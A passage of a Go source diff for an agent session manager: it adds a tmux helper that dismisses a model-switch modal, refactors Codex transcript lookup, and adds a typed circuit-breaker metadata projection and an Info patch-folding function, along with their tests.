+// (Down off the default "Switch" option, then Enter). It is a no-op unless the
+// high-confidence runtime.ContainsModelSwitchModal matcher fires, so it never
+// sends stray keystrokes into ordinary working panes. Side effects are injected
+// so the decision is unit-testable without a live tmux server. Returns whether
+// the modal was present (i.e. a dismiss was attempted).
+func dismissModelSwitchModal(content string, sendKeys func(keys ...string) error, sleep func(time.Duration)) (bool, error) {
+	if !runtime.ContainsModelSwitchModal(content) {
+		return false, nil
+	}
+	if err := sendKeys("Down"); err != nil {
+		return true, err
+	}
+	sleep(modelSwitchDismissConfirmDelay)
+	return true, sendKeys("Enter")
+}
+
+// DismissModelSwitchModalIfPresent clears a mid-session Codex/GPT model-switch
+// modal on the session's agent pane (keeping the current model — no downgrade,
+// no spend change) so a session that would otherwise hang on it can proceed.
+// No-op when the modal is absent. Best-effort: capture/send failures are
+// swallowed (the caller retries on the next wake).
+func (t *Tmux) DismissModelSwitchModalIfPresent(session string) {
+	target := session
+	if agentPane, err := t.FindAgentPane(session); err == nil && agentPane != "" {
+		target = agentPane
+	}
+	content, err := t.CapturePane(target, promptObservationLines)
+	if err != nil {
+		return
+	}
+	_, _ = dismissModelSwitchModal(content,
+		func(keys ...string) error {
+			for _, k := range keys {
+				if _, err := t.run("send-keys", "-t", target, k); err != nil {
+					return err
+				}
+			}
+			return nil
+		},
+		time.Sleep,
+	)
+}
+
 // GetPaneCommand returns the current command running in a pane.
 // Returns "bash", "zsh", "claude", "node", etc.
 func (t *Tmux) GetPaneCommand(session string) (string, error) {
diff --git a/internal/session/chat.go b/internal/session/chat.go
index b797f4735a..41ce8d9159 100644
--- a/internal/session/chat.go
+++ b/internal/session/chat.go
@@ -967,21 +967,38 @@ func (m *Manager) TranscriptPath(id string, searchPaths []string) (string, error
 		return path, nil
 	}
 
+	sameWorkDirSessions, err := m.sameWorkDirSessionBeads(b, provider, workDir)
+	if err != nil {
+		return "", err
+	}
+	if len(sameWorkDirSessions) > 1 {
+		if path := ResolveCodexTranscriptBySessionOrder(searchPaths, provider, workDir, b.ID, sameWorkDirSessions); path != "" {
+			return path, nil
+		}
+		// Without a stable session key, multiple sessions sharing the same
+		// workdir cannot be mapped safely to a single transcript.
+		return "", nil
+	}
+	return workertranscript.DiscoverPath(searchPaths, provider, workDir, ""), nil
+}
+
+// sameWorkDirSessionBeads returns the session beads that share workDir with the
+// target b, restricted to the same provider family when the target's provider is
+// known. For a live target, closed historical sessions are excluded; for a
+// closed target they are kept so historical same-workdir ambiguity is preserved.
+func (m *Manager) sameWorkDirSessionBeads(b beads.Bead, provider, workDir string) ([]beads.Bead, error) {
 	all, err := m.store.List(beads.ListQuery{
 		Label:         LabelSession,
 		IncludeClosed: b.Status == "closed",
 	})
 	if err != nil {
-		return "", fmt.Errorf("listing sessions: %w", err)
+		return nil, fmt.Errorf("listing sessions: %w", err)
 	}
-	matches := 0
+	var same []beads.Bead
 	for _, other := range all {
 		if !IsSessionBeadOrRepairable(other) {
 			continue
 		}
-		// For a live target, closed historical sessions should not make the
-		// lookup ambiguous. For a closed target, historical siblings sharing
-		// the same workdir are the ambiguity we need to preserve.
 		if b.Status != "closed" && other.Status == "closed" {
 			continue
 		}
@@ -993,15 +1010,10 @@ func (m *Manager) TranscriptPath(id string, searchPaths []string) (string, error
 			continue
 		}
 		if other.Metadata["work_dir"] == workDir {
-			matches++
-			if matches > 1 {
-				// Without a stable session key, multiple sessions sharing the
-				// same workdir cannot be mapped safely to a single transcript.
-				return "", nil
-			}
+			same = append(same, other)
 		}
 	}
-	return workertranscript.DiscoverPath(searchPaths, provider, workDir, ""), nil
+	return same, nil
 }
 
 // KeyedTranscriptPath returns the transcript path only when it resolves to a
@@ -1033,17 +1045,19 @@ func (m *Manager) KeyedTranscriptPath(id string, searchPaths []string) (string,
 		searchPaths = sessionlog.DefaultSearchPaths()
 	}
 	sessionKey := strings.TrimSpace(b.Metadata["session_key"])
-	if path := workertranscript.DiscoverKeyedPath(searchPaths, provider, workDir, sessionKey); path != "" {
-		return path, nil
-	}
-	// Codex rollouts are keyed by the session-id suffix in the filename, but
-	// gc's general discovery resolves codex by workdir. For a 1:1 sidecar we use
-	// the identity lookup directly when the session_key (the rollout uuid,
-	// captured by the SessionStart hook) is known, exactly as invocation
-	// telemetry does. A keyed miss returns "" with NO window fallback — a
-	// different-suffix rollout would be a misattribution. The [CreatedAt, anchor]
+	// Codex is resolved here, before the generic keyed discovery below.
+	// workertranscript.DiscoverKeyedPath resolves codex with the newest-first,
+	// no-window resolver (FindCodexSessionFileByIDNoWindow), which is correct for
+	// history rendering but would silently mis-attribute a copied or stale
+	// duplicate rollout (same session uuid + workdir, e.g. an archived copy) on
+	// this 1:1 sidecar path by taking the newest suffix match. Sidecar
+	// attribution must refuse ambiguity, so codex uses the window-bounded,
+	// ambiguity-refusing identity lookup instead: a keyed miss, an ambiguous
+	// in-window match, or a duplicate outside the window returns "" with NO
+	// newest-wins fallback rather than a misattribution. The [CreatedAt, anchor]
 	// window bounds the scan; the anchor is the latest wake, falling back to
-	// bead creation.
+	// bead creation. The session_key is the rollout uuid, captured by the
+	// SessionStart hook, exactly as invocation telemetry uses it.
 	if sessionKey != "" && sessionlog.ProviderFamily(provider) == "codex" {
 		anchor := b.CreatedAt
 		if woke, err := time.Parse(time.RFC3339, strings.TrimSpace(b.Metadata["last_woke_at"])); err == nil {
@@ -1051,5 +1065,8 @@ func (m *Manager) KeyedTranscriptPath(id string, searchPaths []string) (string,
 		}
 		return sessionlog.FindCodexSessionFileByID(searchPaths, workDir, sessionKey, b.CreatedAt, anchor), nil
 	}
+	if path := workertranscript.DiscoverKeyedPath(searchPaths, provider, workDir, sessionKey); path != "" {
+		return path, nil
+	}
 	return "", nil
 }
diff --git a/internal/session/circuit_state.go b/internal/session/circuit_state.go
new file mode 100644
index 0000000000..b9c3fc1059
--- /dev/null
+++ b/internal/session/circuit_state.go
@@ -0,0 +1,91 @@
+package session
+
+// This file adds the typed front door for the session-circuit-breaker metadata
+// cluster (RECONCILER-FRONT-DOOR-SPEC sec 5.3, Step 5). The reconciler's
+// Phase-0.5 breaker restore was the last decision-path read that cracked raw
+// beads.Bead.Metadata; it now speaks CircuitState instead. CircuitState is a
+// distinct concern from session.Info: the breaker's timers and counters are not
+// lifecycle-decision facts, so they are deliberately NOT mirrored on Info.
+
+// The session-circuit-breaker metadata cluster. Two of the keys
+// (SessionCircuitStateMetadataKey, SessionCircuitResetGenerationMetadataKey)
+// already live in lifecycle_projection.go; the remaining seven are declared here
+// so the whole cluster's key vocabulary is confined to the session package (the
+// codec edge, per spec decision 2). The cmd/gc circuit-breaker constants alias
+// these, keeping one source of truth for the string values and guarding them
+// against drift.
+const (
+	// SessionCircuitRestartsMetadataKey holds the JSON array of RFC3339Nano
+	// restart timestamps within the rolling window.
+	SessionCircuitRestartsMetadataKey = "session_circuit_restarts"
+	// SessionCircuitLastRestartMetadataKey holds the most recent restart time.
+	SessionCircuitLastRestartMetadataKey = "session_circuit_last_restart"
+	// SessionCircuitLastProgressMetadataKey holds the most recent observed
+	// progress time.
+	SessionCircuitLastProgressMetadataKey = "session_circuit_last_progress"
+	// SessionCircuitLastObservedMetadataKey holds the most recent progress
+	// signature observation time.
+	SessionCircuitLastObservedMetadataKey = "session_circuit_last_observed"
+	// SessionCircuitProgressSignatureMetadataKey holds the last observed
+	// assigned-work status signature.
+	SessionCircuitProgressSignatureMetadataKey = "session_circuit_progress_signature"
+	// SessionCircuitOpenedAtMetadataKey holds the time the breaker last opened.
+	SessionCircuitOpenedAtMetadataKey = "session_circuit_opened_at"
+	// SessionCircuitOpenRestartCountMetadataKey holds the restart count captured
+	// at the moment the breaker opened.
+	SessionCircuitOpenRestartCountMetadataKey = "session_circuit_open_restart_count"
+)
+
+// CircuitState is a typed projection of the persisted session-circuit-breaker
+// metadata cluster off a session bead. Each field carries its key's raw string
+// value verbatim; the breaker (cmd/gc) owns all parsing — restart-history JSON,
+// timestamps, restart count, state kind, reset generation. Routing a read
+// through CircuitState is therefore byte-identical to the direct meta[key] reads
+// it replaces: the codec moves serialization only, never a decision.
+type CircuitState struct {
+	State             string // SessionCircuitStateMetadataKey
+	Restarts          string // SessionCircuitRestartsMetadataKey (JSON array of RFC3339Nano)
+	LastRestart       string // SessionCircuitLastRestartMetadataKey
+	LastProgress      string // SessionCircuitLastProgressMetadataKey
+	LastObserved      string // SessionCircuitLastObservedMetadataKey
+	ProgressSignature string // SessionCircuitProgressSignatureMetadataKey
+	OpenedAt          string // SessionCircuitOpenedAtMetadataKey
+	OpenRestartCount  string // SessionCircuitOpenRestartCountMetadataKey
+	ResetGeneration   string // SessionCircuitResetGenerationMetadataKey
+}
+
+// CircuitStateFromMetadata projects a session bead's metadata map onto a typed
+// CircuitState, reading only the session_circuit_* keys verbatim. It is pure and
+// side-effect-free, so it is byte-identical to the direct meta[key] reads the
+// circuit breaker performed before the front-door migration. A nil or empty map
+// yields the zero CircuitState (every field "").
+func CircuitStateFromMetadata(meta map[string]string) CircuitState {
+	return CircuitState{
+		State:             meta[SessionCircuitStateMetadataKey],
+		Restarts:          meta[SessionCircuitRestartsMetadataKey],
+		LastRestart:       meta[SessionCircuitLastRestartMetadataKey],
+		LastProgress:      meta[SessionCircuitLastProgressMetadataKey],
+		LastObserved:      meta[SessionCircuitLastObservedMetadataKey],
+		ProgressSignature: meta[SessionCircuitProgressSignatureMetadataKey],
+		OpenedAt:          meta[SessionCircuitOpenedAtMetadataKey],
+		OpenRestartCount:  meta[SessionCircuitOpenRestartCountMetadataKey],
+		ResetGeneration:   meta[SessionCircuitResetGenerationMetadataKey],
+	}
+}
+
+// CircuitState returns the persisted session-circuit-breaker metadata cluster
+// for id as a typed CircuitState (each field the raw string; "" when unset).
+//
+// It is the store-authoritative front door for the raw store.Get(id) + read of
+// the session_circuit_* keys the circuit breaker performs during restore. Like
+// CircuitResetGeneration and PersistedMarkers, the bead read and the
+// metadata-key access are confined here; the caller owns parsing each value and
+// its own diagnostic wrapping (the error is returned bare). It does NOT validate
+// the bead as a session bead: the raw read it replaces did not either.
+func (s *Store) CircuitState(id string) (CircuitState, error) {
+	b, err := s.store.Get(id)
+	if err != nil {
+		return CircuitState{}, err
+	}
+	return CircuitStateFromMetadata(b.Metadata), nil
+}
diff --git a/internal/session/circuit_state_test.go b/internal/session/circuit_state_test.go
new file mode 100644
index 0000000000..17c217c609
--- /dev/null
+++ b/internal/session/circuit_state_test.go
@@ -0,0 +1,113 @@
+package session
+
+import "testing"
+
+// TestCircuitStateFromMetadataProjectsVerbatim is the codec-edge byte-identical
+// oracle for the circuit-breaker front door: for representative session_circuit_*
+// shapes, every CircuitState field must equal the raw metadata value it projects,
+// with no transformation. Parsing (timestamps, restart JSON, state kind) stays
+// with the breaker, so the codec must carry each value verbatim — including
+// malformed and padded values, which the breaker validates downstream.
+func TestCircuitStateFromMetadataProjectsVerbatim(t *testing.T) {
+	shapes := map[string]map[string]string{
+		"nil":   nil,
+		"empty": {},
+		"open-full": {
+			SessionCircuitStateMetadataKey:             SessionCircuitStateOpen,
+			SessionCircuitRestartsMetadataKey:          `["2026-04-01T12:00:00Z","2026-04-01T12:01:00Z"]`,
+			SessionCircuitLastRestartMetadataKey:       "2026-04-01T12:01:00Z",
+			SessionCircuitLastProgressMetadataKey:      "2026-04-01T11:30:00Z",
+			SessionCircuitLastObservedMetadataKey:      "2026-04-01T12:02:00Z",
+			SessionCircuitProgressSignatureMetadataKey: "assigned-work",
+			SessionCircuitOpenedAtMetadataKey:          "2026-04-01T12:01:30Z",
+			SessionCircuitOpenRestartCountMetadataKey:  "6",
+			SessionCircuitResetGenerationMetadataKey:   "3",
+		},
+		"closed": {
+			SessionCircuitStateMetadataKey:           SessionCircuitStateClosed,
+			SessionCircuitResetGenerationMetadataKey: "1",
+		},
+		"reset-generation-only": {
+			SessionCircuitResetGenerationMetadataKey: "9",
+		},
+		"malformed-and-padded": {
+			// The codec must carry these through untouched; the breaker rejects or
+			// trims them, not CircuitStateFromMetadata.
+			SessionCircuitStateMetadataKey:            "BROKEN",
+			SessionCircuitRestartsMetadataKey:         "not-json",
+			SessionCircuitLastRestartMetadataKey:      "not-a-time",
+			SessionCircuitOpenRestartCountMetadataKey: "  6  ",
+		},
+		// A bead carrying unrelated keys must project to the zero CircuitState.
+		"unrelated-keys-only": {
+			"state":        "awake",
+			"session_name": "worker-1",
+		},
+	}
+
+	for name, meta := range shapes {
+		meta := meta
+		t.Run(name, func(t *testing.T) {
+			cs := CircuitStateFromMetadata(meta)
+			checks := map[string]struct{ got, want string }{
+				SessionCircuitStateMetadataKey:             {cs.State, meta[SessionCircuitStateMetadataKey]},
+				SessionCircuitRestartsMetadataKey:          {cs.Restarts, meta[SessionCircuitRestartsMetadataKey]},
+				SessionCircuitLastRestartMetadataKey:       {cs.LastRestart, meta[SessionCircuitLastRestartMetadataKey]},
+				SessionCircuitLastProgressMetadataKey:      {cs.LastProgress, meta[SessionCircuitLastProgressMetadataKey]},
+				SessionCircuitLastObservedMetadataKey:      {cs.LastObserved, meta[SessionCircuitLastObservedMetadataKey]},
+				SessionCircuitProgressSignatureMetadataKey: {cs.ProgressSignature, meta[SessionCircuitProgressSignatureMetadataKey]},
+				SessionCircuitOpenedAtMetadataKey:          {cs.OpenedAt, meta[SessionCircuitOpenedAtMetadataKey]},
+				SessionCircuitOpenRestartCountMetadataKey:  {cs.OpenRestartCount, meta[SessionCircuitOpenRestartCountMetadataKey]},
+				SessionCircuitResetGenerationMetadataKey:   {cs.ResetGeneration, meta[SessionCircuitResetGenerationMetadataKey]},
+			}
+			for key, c := range checks {
+				if c.got != c.want {
+					t.Errorf("field for %q = %q, want raw value %q", key, c.got, c.want)
+				}
+			}
+		})
+	}
+}
+
+// TestStoreCircuitStateReturnsClusterVerbatim proves the store-authoritative
+// accessor returns the same projection as CircuitStateFromMetadata over the
+// persisted bead, and confines a single Get (no mutating bead op) — the
+// byte-identical replacement for the raw store.Get(id) + read of the
+// session_circuit_* keys.
+func TestStoreCircuitStateReturnsClusterVerbatim(t *testing.T) {
+	meta := map[string]string{
+		SessionCircuitStateMetadataKey:             SessionCircuitStateOpen,
+		SessionCircuitRestartsMetadataKey:          `["2026-04-01T12:00:00Z"]`,
+		SessionCircuitLastRestartMetadataKey:       "2026-04-01T12:01:00Z",
+		SessionCircuitLastProgressMetadataKey:      "2026-04-01T11:30:00Z",
+		SessionCircuitLastObservedMetadataKey:      "2026-04-01T12:02:00Z",
+		SessionCircuitProgressSignatureMetadataKey: "assigned-work",
+		SessionCircuitOpenedAtMetadataKey:          "2026-04-01T12:01:30Z",
+		SessionCircuitOpenRestartCountMetadataKey:  "6",
+		SessionCircuitResetGenerationMetadataKey:   "3",
+	}
+	b := sessionBeadFixture("s-1", "open", meta)
+	is, rec := recordingStore(t, b)
+
+	got, err := is.CircuitState("s-1")
+	if err != nil {
+		t.Fatalf("CircuitState: %v", err)
+	}
+	if want := CircuitStateFromMetadata(meta); got != want {
+		t.Errorf("CircuitState = %#v, want %#v", got, want)
+	}
+	if mutating := opsOf(rec.Calls()); len(mutating) != 0 {
+		t.Errorf("CircuitState emitted mutating ops %v, want none", mutating)
+	}
+}
+
+// TestStoreCircuitStateSurfacesStoreError proves a missing bead surfaces the
+// bare store error (the caller owns its diagnostic wrapping), matching the raw
+// store.Get error path the front door replaces.
+func TestStoreCircuitStateSurfacesStoreError(t *testing.T) {
+	store := seedSessionStore(t)
+	is := NewStore(store)
+	if _, err := is.CircuitState("missing"); err == nil {
+		t.Fatal("CircuitState(missing): want store error, got nil")
+	}
+}
diff --git a/internal/session/create.go b/internal/session/create.go
index 788cb549da..a4511bdce5 100644
--- a/internal/session/create.go
+++ b/internal/session/create.go
@@ -38,7 +38,7 @@ type CreateSpec struct {
 // [LabelSession, "agent:<AgentName>"] label pair are confined here, so no
 // caller constructs a Type="session" bead directly. The emitted Create is
 // byte-identical to the raw store.Create the create sites performed.
-func (s *InfoStore) CreateSession(spec CreateSpec) (string, error) {
+func (s *Store) CreateSession(spec CreateSpec) (string, error) {
 	created, err := s.store.Create(beads.Bead{
 		ID:       spec.ID,
 		Title:    spec.Title,
diff --git a/internal/session/create_test.go b/internal/session/create_test.go
index ef801b2d8b..966cb64fa0 100644
--- a/internal/session/create_test.go
+++ b/internal/session/create_test.go
@@ -16,7 +16,7 @@ import (
 func TestCreateSessionByteIdenticalConfiguredNamed(t *testing.T) {
 	mem := beads.NewMemStore()
 	rec := beadstest.NewRecordingStore(mem)
-	is := NewInfoStore(beads.SessionStore{Store: rec})
+	is := NewStore(beads.SessionStore{Store: rec})
 
 	// The metadata vocabulary the session_beads.go create site assembles inline
 	// for a configured-named (non-pool) session.
@@ -84,7 +84,7 @@ func TestCreateSessionByteIdenticalConfiguredNamed(t *testing.T) {
 func TestCreateSessionByteIdenticalPoolWithExplicitID(t *testing.T) {
 	mem := beads.NewMemStore()
 	rec := beadstest.NewRecordingStore(mem)
-	is := NewInfoStore(beads.SessionStore{Store: rec})
+	is := NewStore(beads.SessionStore{Store: rec})
 
 	meta := map[string]string{
 		"template":                  "tower/polecat",
@@ -137,8 +137,8 @@ func TestCreateSessionByteIdenticalPoolWithExplicitID(t *testing.T) {
 	if !reflect.DeepEqual(got.Labels, wantLabels) {
 		t.Errorf("Create bead Labels = %#v, want %#v", got.Labels, wantLabels)
 	}
-	if !reflect.DeepEqual(got.Metadata, meta) {
-		t.Errorf("Create bead Metadata = %#v, want %#v", got.Metadata, meta)
+	if !reflect.DeepEqual(got.Metadata, beads.StringMap(meta)) {
+		t.Errorf("Create bead Metadata = %#v, want %#v", got.Metadata, beads.StringMap(meta))
 	}
 }
 
@@ -152,7 +152,7 @@ func TestCreateSessionByteIdenticalPoolWithExplicitID(t *testing.T) {
 func TestCreateSessionByteIdenticalAdoptionBarrier(t *testing.T) {
 	mem := beads.NewMemStore()
 	rec := beadstest.NewRecordingStore(mem)
-	is := NewInfoStore(beads.SessionStore{Store: rec})
+	is := NewStore(beads.SessionStore{Store: rec})
 
 	// The metadata vocabulary runAdoptionBarrier assembles inline for an
 	// adopted running session (no template/pending_create_claim — the barrier
@@ -199,8 +199,8 @@ func TestCreateSessionByteIdenticalAdoptionBarrier(t *testing.T) {
 	if !reflect.DeepEqual(got.Labels, wantLabels) {
 		t.Errorf("Create bead Labels = %#v, want %#v", got.Labels, wantLabels)
 	}
-	if !reflect.DeepEqual(got.Metadata, meta) {
-		t.Errorf("Create bead Metadata = %#v, want %#v", got.Metadata, meta)
+	if !reflect.DeepEqual(got.Metadata, beads.StringMap(meta)) {
+		t.Errorf("Create bead Metadata = %#v, want %#v", got.Metadata, beads.StringMap(meta))
 	}
 }
 
@@ -209,7 +209,7 @@ func TestCreateSessionByteIdenticalAdoptionBarrier(t *testing.T) {
 // read newBead.ID after the raw Create).
 func TestCreateSessionReturnsAssignedID(t *testing.T) {
 	mem := beads.NewMemStore()
-	is := NewInfoStore(beads.SessionStore{Store: mem})
+	is := NewStore(beads.SessionStore{Store: mem})
 
 	id, err := is.CreateSession(CreateSpec{
 		Title:     "polecat",
diff --git a/internal/session/get_persisted_response_test.go b/internal/session/get_persisted_response_test.go
index 8683171942..e7a588841b 100644
--- a/internal/session/get_persisted_response_test.go
+++ b/internal/session/get_persisted_response_test.go
@@ -1,6 +1,7 @@
 package session
 
 import (
+	"reflect"
 	"testing"
 
 	"github.com/gastownhall/gascity/internal/beads"
@@ -37,7 +38,7 @@ func TestGetWithPersistedResponse(t *testing.T) {
 	if err != nil {
 		t.Fatalf("Get: %v", err)
 	}
-	if info != wantInfo {
+	if !reflect.DeepEqual(info, wantInfo) {
 		t.Fatalf("Info mismatch:\n got = %+v\nwant = %+v", info, wantInfo)
 	}
 
diff --git a/internal/session/info_apply_patch.go b/internal/session/info_apply_patch.go
new file mode 100644
index 0000000000..aa7356465f
--- /dev/null
+++ b/internal/session/info_apply_patch.go
@@ -0,0 +1,243 @@
+package session
+
+import (
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// ApplyPatch returns a copy of info with a MetadataPatch applied to its
+// metadata-derived fields. It is the typed "write-returns-Info" half of the
+// session front door (front-door migration Step 6d): the reconciler applies a
+// patch to the persisted bead via Store.ApplyPatch and, instead of re-reading
+// and re-projecting the whole bead (the raw refreshSessionInfo path) or issuing
+// a store Get, folds the SAME patch onto the coherent Info snapshot here.
+//
+// It is byte-identical to a full re-projection of the patched metadata:
+//
+//	info.ApplyPatch(p)  ==  InfoFromPersistedBead(bead{Status, Type, Title, ...,
+//	                            Metadata: p.Apply(meta)})
+//
+// for the metadata-derived fields, where info == InfoFromPersistedBead(bead).
+// Only fields whose source key appears in the patch are re-derived, from that
+// key's raw patch value, using the same per-key logic as InfoFromPersistedBead;
+// every other field carries forward unchanged. Bead-level fields (ID, Type,
+// Title, Labels, CreatedAt) and the live runtime overlay (Attached, LastActive)
+// are never touched by a metadata patch, so they carry forward. Status-derived
+// facts (Closed, and the closed-blanking of State) are NOT reconstructable from
+// a metadata patch — a status close is a separate refresh case (Store.Get) —
+// so ApplyPatch reads the carried-forward Closed and never flips it.
+//
+// The mapping is deliberately parallel to InfoFromPersistedBead;
+// TestInfoApplyPatchMatchesReprojection is the equivalence oracle that guards
+// the two against drift, exactly as TestSessionClassifierInfoEquivalence guards
+// the classifier siblings.
+func (info Info) ApplyPatch(patch MetadataPatch) Info {
+	for key, v := range patch {
+		switch key {
+		case "session_name":
+			info.SessionNameMetadata = v
+			if v == "" {
+				info.SessionName = sessionNameFor(info.ID)
+			} else {
+				info.SessionName = v
+			}
+		case "state":
+			info.MetadataState = v
+			if info.Closed {
+				info.State = "" // closed beads have no runtime state
+			} else {
+				info.State = normalizeInfoState(State(v))
+			}
+		case "template":
+			info.Template = v
+		case "alias":
+			info.Alias = v
+		case "agent_name":
+			info.AgentName = v
+		case "provider":
+			info.Provider = v
+			info.Transport = normalizeTransport(v, info.TransportMetadata)
+		case "transport":
+			info.TransportMetadata = v
+			info.Transport = normalizeTransport(info.Provider, v)
+		case "command":
+			info.Command = v
+		case "work_dir":
+			info.WorkDir = v
+		case "session_key":
+			info.SessionKey = v
+		case "resume_flag":
+			info.ResumeFlag = v
+		case "resume_style":
+			info.ResumeStyle = v
+		case "resume_command":
+			info.ResumeCommand = v
+		case "continuation_epoch":
+			info.ContinuationEpoch = v
+		case "sleep_reason":
+			info.SleepReason = v
+		case NamedSessionIdentityMetadata:
+			info.ConfiguredNamedIdentity = v
+		case NamedSessionMetadataKey:
+			info.ConfiguredNamedSession = strings.TrimSpace(v) == "true"
+		case NamedSessionModeMetadata:
+			info.ConfiguredNamedMode = v
+		case "common_name":
+			info.CommonName = v
+		case "pool_slot":
+			info.PoolSlot = v
+		case "pool_managed":
+			info.PoolManaged = strings.TrimSpace(v) == "true"
+		case "session_origin":
+			info.SessionOrigin = v
+		case "dependency_only":
+			info.DependencyOnly = strings.TrimSpace(v) == "true"
+			info.DependencyOnlyMetadata = v
+		case "manual_session":
+			info.ManualSession = strings.TrimSpace(v) == "true"
+			info.ManualSessionMetadata = v
+		case MCPIdentityMetadataKey:
+			info.MCPIdentity = v
+		case MCPServersSnapshotMetadataKey:
+			info.MCPServersSnapshot = v
+		case "provider_terminal_error":
+			info.ProviderTerminalError = v
+		case "session_health":
+			info.HealthState = v
+		case "session_health_reason":
+			info.HealthReason = v
+		case "session_drainable":
+			info.Drainable = strings.TrimSpace(v) == "true"
+		case beadmeta.TriggerBeadIDMetadataKey:
+			info.TriggerBeadID = v
+		case beadmeta.TriggerBeadStoreRefMetadataKey:
+			info.TriggerBeadStoreRef = v
+		case beadmeta.BrainParentSIDMetadataKey:
+			info.BrainParentSID = v
+		case beadmeta.PackMetadataKey:
+			info.Pack = v
+		case "pending_create_claim":
+			info.PendingCreateClaim = strings.TrimSpace(v) == "true"
+			info.PendingCreateClaimMetadata = v
+		case "pending_create_started_at":
+			info.PendingCreateStartedAt = v
+		case "quarantined_until":
+			info.QuarantinedUntil = v
+		case aliasHistoryMetadataKey:
+			info.AliasHistory = normalizeAliasList(strings.Split(v, ","), "")
+		case "continuity_eligible":
+			info.ContinuityEligible = v
+		case "last_woke_at":
+			info.LastWokeAt = v
+		case "state_reason":
+			info.StateReason = v
+		case "creation_complete_at":
+			info.CreationCompleteAt = v
+		case "continuation_reset_pending":
+			info.ContinuationResetPending = v
+		case ResetCommittedAtKey:
+			info.ResetCommittedAt = v
+		case "generation":
+			info.Generation = v
+		case "started_config_hash":
+			info.StartedConfigHash = v
+		case "pin_awake":
+			info.PinAwake = v
+		case "held_until":
+			info.HeldUntil = v
+		case "wait_hold":
+			info.WaitHold = v
+		case "churn_count":
+			info.ChurnCount = v
+		case "wake_mode":
+			info.WakeMode = v
+		case "sleep_intent":
+			info.SleepIntent = v
+		case "instance_token":
+			info.InstanceToken = v
+		case "detached_at":
+			info.DetachedAt = v
+		case CurrentBeadIDKey:
+			info.CurrentlyProcessingBeadID = v
+		case "core_hash_breakdown":
+			info.CoreHashBreakdown = v
+		case "started_provision_hash":
+			info.StartedProvisionHash = v
+		case "started_launch_hash":
+			info.StartedLaunchHash = v
+		case "started_live_hash":
+			info.StartedLiveHash = v
+		case "config_drift_deferred_at":
+			info.ConfigDriftDeferredAt = v
+		case "config_drift_deferred_key":
+			info.ConfigDriftDeferredKey = v
+		case "attached_config_drift_deferred_at":
+			info.AttachedConfigDriftDeferredAt = v
+		case "attached_config_drift_deferred_key":
+			info.AttachedConfigDriftDeferredKey = v
+		case "stranded_event_emitted_at":
+			info.StrandedEventEmittedAt = v
+		case "session_name_explicit":
+			info.SessionNameExplicit = v
+		case "wake_request":
+			info.WakeRequest = v
+		case "restart_requested":
+			info.RestartRequested = v
+		case "session_id_flag":
+			info.SessionIDFlag = v
+		case "template_overrides":
+			info.TemplateOverrides = v
+		case "wake_attempts":
+			info.WakeAttemptsMetadata = v
+			if n, err := strconv.Atoi(v); err == nil {
+				info.WakeAttempts = n
+			} else {
+				info.WakeAttempts = 0
+			}
+		case "provider_kind":
+			info.ProviderKind = v
+		case MetadataLastNudgeDeliveredAt:
+			info.LastNudgeDeliveredAt = time.Time{}
+			if raw := strings.TrimSpace(v); raw != "" {
+				if parsed, err := time.Parse(time.RFC3339, raw); err == nil {
+					info.LastNudgeDeliveredAt = parsed
+				}
+			}
+		default:
+			// Keys InfoFromPersistedBead does not project (e.g. live_hash,
+			// startup_dialog_verified, env.*) have no Info field, so a patch to
+			// them changes no Info fact. Ignoring them keeps ApplyPatch
+			// byte-identical to a full re-projection.
+		}
+	}
+	return info
+}
+
+// MarkClosed returns a copy of info reflecting an in-memory status close. When
+// the reconciler closes a session bead this tick it sets session.Status =
+// "closed" on the working bead; the coherent Info snapshot must match without a
+// store re-read. Status is the source of exactly the two facts
+// InfoFromPersistedBead derives from b.Status == "closed": Closed becomes true,
+// and State is blanked (a closed bead carries no runtime state). Every
+// metadata-derived field is independent of Status, so it carries forward
+// unchanged.
+//
+// MarkClosed is the status-close counterpart to ApplyPatch, which deliberately
+// never flips Closed (a metadata patch cannot carry a status change). Together
+// they are the write-returns-Info snapshot refresh (front-door migration Step
+// 6d): ApplyPatch folds a metadata batch, MarkClosed folds an in-memory status
+// close, each byte-identical to re-projecting the mutated bead — so the
+// reconciler refreshes the snapshot from the mutation it just applied instead of
+// re-projecting the raw working bead or issuing a store Get.
+//
+// TestInfoMarkClosedMatchesReprojection is the equivalence oracle: for any open
+// bead b, InfoFromPersistedBead(b).MarkClosed() equals
+// InfoFromPersistedBead(b with Status "closed").
+func (info Info) MarkClosed() Info {
+	info.Closed = true
+	info.State = "" // closed beads have no runtime state
+	return info
+}
diff --git a/internal/session/info_apply_patch_test.go b/internal/session/info_apply_patch_test.go
new file mode 100644
index 0000000000..c308914482
--- /dev/null
+++ b/internal/session/info_apply_patch_test.go
@@ -0,0 +1,302 @@
+package session
+
+import (
+	"reflect"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// allProjectedMetadataKeys is every metadata key InfoFromPersistedBead reads.
+// It is maintained by hand: exercising a single-key patch for each key catches
+// an ApplyPatch case that is missing or maps to the wrong field. It does NOT
+// mechanically guard completeness — a future codec key added to
+// InfoFromPersistedBead must ALSO be added here (and to ApplyPatch) or its
+// round-trip goes unexercised. Key-driven cases alone are not enough: the
+// oracle also needs base beads / patch values that reach the non-identity
+// branches of the coupled normalizers (normalizeInfoState awake/drained,
+// normalizeTransport's provider fallback), which oracleBaseBeads/oraclePatches
+// supply below.
+var allProjectedMetadataKeys = []string{
+	"session_name", "state", "template", "alias", "agent_name", "provider",
+	"transport", "command", "work_dir", "session_key", "resume_flag",
+	"resume_style", "resume_command", "continuation_epoch", "sleep_reason",
+	NamedSessionIdentityMetadata, NamedSessionMetadataKey, NamedSessionModeMetadata,
+	"common_name", "pool_slot", "pool_managed", "session_origin",
+	"dependency_only", "manual_session", MCPIdentityMetadataKey,
+	MCPServersSnapshotMetadataKey, "provider_terminal_error", "session_health",
+	"session_health_reason", "session_drainable", beadmeta.TriggerBeadIDMetadataKey,
+	beadmeta.TriggerBeadStoreRefMetadataKey, beadmeta.BrainParentSIDMetadataKey,
+	beadmeta.PackMetadataKey,
+	"pending_create_claim", "pending_create_started_at", "quarantined_until",
+	aliasHistoryMetadataKey, "continuity_eligible", "last_woke_at", "state_reason",
+	"creation_complete_at", "continuation_reset_pending", ResetCommittedAtKey,
+	"generation", "started_config_hash", "pin_awake", "held_until", "wait_hold",
+	"churn_count", "wake_mode", "sleep_intent", "instance_token", "detached_at",
